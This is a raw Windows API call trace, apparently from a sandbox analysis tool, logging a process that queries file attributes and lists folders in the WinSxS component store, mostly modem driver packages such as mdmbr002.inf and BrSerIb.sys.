	[0106.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmspdmod_31bf3856ad364e35_6.1.7601.17514_none_5855d4fd867cbfaa.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmspdmod_31bf3856ad364e35_6.1.7601.17514_none_5855d4fd867cbfaa.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae73b8 | out: lpFileInformation=0x12ae73b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b794f9, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83b794f9, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x83ca9ffb, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1bb7)) returned 1
	[0106.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmspdmoe_31bf3856ad364e35_6.1.7600.16385_none_5619f14989965801.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmspdmoe_31bf3856ad364e35_6.1.7600.16385_none_5619f14989965801.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7408 | out: lpFileInformation=0x12ae7408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45dcacf3, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x45dcacf3, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x45f6dbf2, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1565)) returned 1
	[0106.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvdecod_31bf3856ad364e35_6.1.7601.17514_none_20b089c0f6efacae.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvdecod_31bf3856ad364e35_6.1.7601.17514_none_20b089c0f6efacae.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7458 | out: lpFileInformation=0x12ae7458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb61ad5e6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb61ad5e6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb61f98a6, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac8)) returned 1
	[0106.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvdspa_31bf3856ad364e35_6.1.7600.16385_none_4270c70a1e6621ed.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvdspa_31bf3856ad364e35_6.1.7600.16385_none_4270c70a1e6621ed.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae74a8 | out: lpFileInformation=0x12ae74a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf369ece, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0xf369ece, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0xf3dc2e5, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60)) returned 1
	[0106.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvencod_31bf3856ad364e35_6.1.7600.16385_none_4bf34d8717e8ed72.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvencod_31bf3856ad364e35_6.1.7600.16385_none_4bf34d8717e8ed72.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae74f8 | out: lpFileInformation=0x12ae74f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bedba39, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x6bedba39, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x6c1892c3, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1f20)) returned 1
	[0106.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmviddsp_31bf3856ad364e35_6.1.7600.16385_none_02d8e5538eeeec51.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmviddsp_31bf3856ad364e35_6.1.7600.16385_none_02d8e5538eeeec51.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7548 | out: lpFileInformation=0x12ae7548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707b3417, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x707b3417, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x708bdda2, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x4056)) returned 1
	[0106.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvsdecd_31bf3856ad364e35_6.1.7601.17514_none_c49f800cbb6ab4e6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvsdecd_31bf3856ad364e35_6.1.7601.17514_none_c49f800cbb6ab4e6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7598 | out: lpFileInformation=0x12ae7598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60a2c44, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb60a2c44, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb60c8da4, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1c7c)) returned 1
	[0106.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvsencd_31bf3856ad364e35_6.1.7600.16385_none_c26e9f86be7c314c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvsencd_31bf3856ad364e35_6.1.7600.16385_none_c26e9f86be7c314c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae75e8 | out: lpFileInformation=0x12ae75e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323760b, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x323760b, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x32f5cdc, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1220)) returned 1
	[0106.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmvxencd_31bf3856ad364e35_6.1.7600.16385_none_a584c84b542b92d7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmvxencd_31bf3856ad364e35_6.1.7600.16385_none_a584c84b542b92d7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7638 | out: lpFileInformation=0x12ae7638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e1375be, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x3e1375be, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x3e2680a6, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9e)) returned 1
	[0108.391] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.391] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.391] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr002.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.392] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.392] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.394] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr002.inf_31bf3856ad364e35_6.1.7600.16385_none_bff4698a07fe9888" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr002.inf_31bf3856ad364e35_6.1.7600.16385_none_bff4698a07fe9888"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.395] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr002.inf_31bf3856ad364e35_6.1.7600.16385_none_bff4698a07fe9888\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.395] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.395] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.395] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.395] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192da2a, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x192da2a, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x17d6de5, ftLastWriteTime.dwHighDateTime=0x1ca03fc, nFileSizeHigh=0x0, nFileSizeLow=0xa6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr002.inf", cAlternateFileName="")) returned 1
	[0108.395] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.395] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.399] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr004.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4d45be075a33e2a6" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr004.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4d45be075a33e2a6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.399] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr004.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4d45be075a33e2a6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.400] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.400] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.400] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr004.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.400] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.400] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.402] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr004.inf_31bf3856ad364e35_6.1.7600.16385_none_c1068df43a3b115a" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr004.inf_31bf3856ad364e35_6.1.7600.16385_none_c1068df43a3b115a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.402] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr004.inf_31bf3856ad364e35_6.1.7600.16385_none_c1068df43a3b115a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.402] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.402] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
	[0108.403] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359bcaf8, ftCreationTime.dwHighDateTime=0x1ca0421, ftLastAccessTime.dwLowDateTime=0x359bcaf8, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xc9a5876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrUsbSIb.sys", cAlternateFileName="")) returned 1
	[0108.403] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373ad8c, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x373ad8c, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x3571d30, ftLastWriteTime.dwHighDateTime=0x1ca03fc, nFileSizeHigh=0x0, nFileSizeLow=0x981c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr004.inf", cAlternateFileName="")) returned 1
	[0108.403] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.403] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.406] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr005.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_90fceb5183a87a8f" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr005.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_90fceb5183a87a8f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.406] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr005.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_90fceb5183a87a8f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.409] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.409] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys.mui", cAlternateFileName="BRSERI~1.MUI")) returned 1
	[0108.409] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr005.inf_loc", cAlternateFileName="MDMBR0~1.INF")) returned 1
	[0108.409] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.409] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.412] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr005.inf_31bf3856ad364e35_6.1.7600.16385_none_c18fa02953594dc3" (normalized: "c:\\windows\\winsxs\\amd64_mdmbr005.inf_31bf3856ad364e35_6.1.7600.16385_none_c18fa02953594dc3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.412] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmbr005.inf_31bf3856ad364e35_6.1.7600.16385_none_c18fa02953594dc3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.412] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.412] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0de0c3b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xf1068368, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xf1068368, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x44a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrSerIb.sys", cAlternateFileName="")) returned 1
